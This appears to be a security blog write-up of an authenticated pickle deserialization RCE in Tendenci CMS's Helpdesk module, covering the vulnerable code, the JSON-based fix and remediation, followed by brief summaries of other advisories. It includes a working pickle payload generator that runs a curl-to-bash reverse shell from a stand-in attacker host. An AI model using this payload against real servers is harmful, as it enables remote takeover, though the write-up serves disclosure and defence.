Feb 15, 2026·6 min read·29 visits
Authenticated RCE in Tendenci CMS versions prior to 15.3.12. The Helpdesk module's `run_report` function unsafe deserializes data using Python's `pickle`. Attackers with Staff privileges can execute arbitrary code by crafting a malicious saved query.
A classic case of 'patch it once, break it twice.' Tendenci CMS suffers from a critical authenticated Remote Code Execution (RCE) vulnerability due to an incomplete fix for a 2020 issue. The Helpdesk module—specifically the reporting functionality—continued to use Python's notorious `pickle` module for deserializing user-supplied data, allowing staff-level users to execute arbitrary commands on the server.
If you've been in the Python security game for more than five minutes, you know the rule: Never trust a pickle. It is the golden rule of Python development, right up there with 'don't commit your AWS keys to GitHub.' Yet, here we are in 2026, looking at CVE-2026-23946, a vulnerability in Tendenci CMS that is essentially a zombie rising from the grave of CVE-2020-14942.
Tendenci is an open-source CMS built for non-profits. It's robust, feature-rich, and like many legacy Django applications, it has some skeletons in its closet. The specific skeleton here is the Helpdesk module. Back in 2020, security researchers pointed out that Tendenci was using pickle to store and retrieve search queries. The developers patched it... mostly. They fixed the ticket_list view, swapping unsafe pickle deserialization for JSON. Everyone clapped, the ticket was closed, and the world moved on.
But they missed a spot. Deep in the run_report function, the pickle logic remained, lurking like a landmine waiting for someone to step on it. This isn't just a bug; it's a lesson in the dangers of 'spot-fixing' vulnerabilities rather than eradicating the root cause (the use of pickle itself) from the entire codebase.
To understand why this is critical, you have to understand how Python's pickle module works. Unlike JSON, which is a data interchange format (text), pickle is a binary serialization protocol that is capable of serializing arbitrary Python objects. It doesn't just save data; it saves instructions on how to reconstruct that data.
The flaw lies in the __reduce__ method. When Python unpickles an object, if that object defines __reduce__, the unpickler will execute whatever callable (function) is returned by that method. This was designed for convenience—so complex objects could tell Python how to rebuild themselves. Hackers, being the opportunistic pragmatists they are, realized they could tell Python to 'rebuild' an object by running os.system('sh').
In Tendenci's case, the application takes a base64-encoded string from the database (a saved query), decodes it, and passes it directly to pickle.loads(). There is no signature verification, no sandboxing, and no mercy. If you can write to that database field, you own the server.
Let's look at the crime scene. The vulnerability resides in tendenci/apps/helpdesk/views/staff.py. Before version 15.3.12, the code looked something like this:
# The Vulnerable Logic
def run_report(request, report_id):
# ... retrieval logic ...
if saved_query:
# HERE IS THE DRAGON
query_params = pickle.loads(b64decode(saved_query.query))
# ... application logic ...It is elegant in its simplicity and devastating in its insecurity. The saved_query.query is controlled by the user. The fix involved ripping out pickle entirely and replacing it with standard JSON handling, which treats data as data, not code.
# The Fix (simplified)
import simplejson as json
# ... inside the view ...
try:
# Sanity prevails
query_params = json.loads(b64decode(saved_query.query))
except (ValueError, TypeError):
# Handle legacy or bad data gracefully
query_params = {}The patch didn't just change the deserializer; they also updated the input forms (SavedSearchForm) to ensure that new data coming in is strictly validated JSON, effectively closing the loop.
So, how do we exploit this? Since this is an authenticated vulnerability, we first need a user with 'Staff' permissions. This limits the blast radius, but insider threats or compromised staff accounts make this a very real vector.
The attack chain is straightforward:
A standard Python pickle exploit generator looks like this:
import pickle
import base64
import os
class Payload(object):
def __reduce__(self):
# The command to execute on the server
cmd = ('curl https://evil.com/revshell | bash')
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(Payload()))
print(f"Inject this: {payload.decode()}")The attacker saves a new 'Search Query' in the Helpdesk module. Instead of a valid search filter, they intercept the request and replace the query parameter with the base64 string generated above. When the attacker (or an unsuspecting admin) clicks 'Run Report' on that saved query, the server deserializes the blob, sees the os.system instruction, and executes the reverse shell.
You might argue, 'But you need Staff permissions!' True. But in the world of CMS, 'Staff' is often not 'System Administrator.' Staff might be a content editor, a volunteer, or a marketing intern. They should not have the ability to execute shell commands on the web server.
Successful exploitation leads to Remote Code Execution (RCE). The code runs with the privileges of the web application user (usually www-data or nginx). From there, the attacker can:
settings.py file to steal database credentials and secret keys.This turns a low-privilege compromise into a total infrastructure takeover.
The remediation is simple: Update to Tendenci v15.3.12 immediately. The developers have scrubbed the pickle imports from the Helpdesk module and replaced them with simplejson.
If you cannot update immediately, you have two options:
settings.py or site configuration and ensure tendenci.apps.helpdesk is not in your INSTALLED_APPS.gASV or the pickle opcode . combined with global). However, blocking serialized data via WAF is cat-and-mouse; patching is the only real fix.> [!NOTE]
> If you are a developer, let this be a lesson: If you are using pickle, Marshal, or Java Object Serialization on user input, you are wrong. Stop it. Use JSON.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Tendenci Tendenci | < 15.3.12 | 15.3.12 |
| Attribute | Detail |
|---|---|
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 6.8 (Medium) |
| Attack Vector | Network (Authenticated) |
| Privileges | High (Staff) |
| Impact | Remote Code Execution (RCE) |
| Status | Patched in v15.3.12 |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.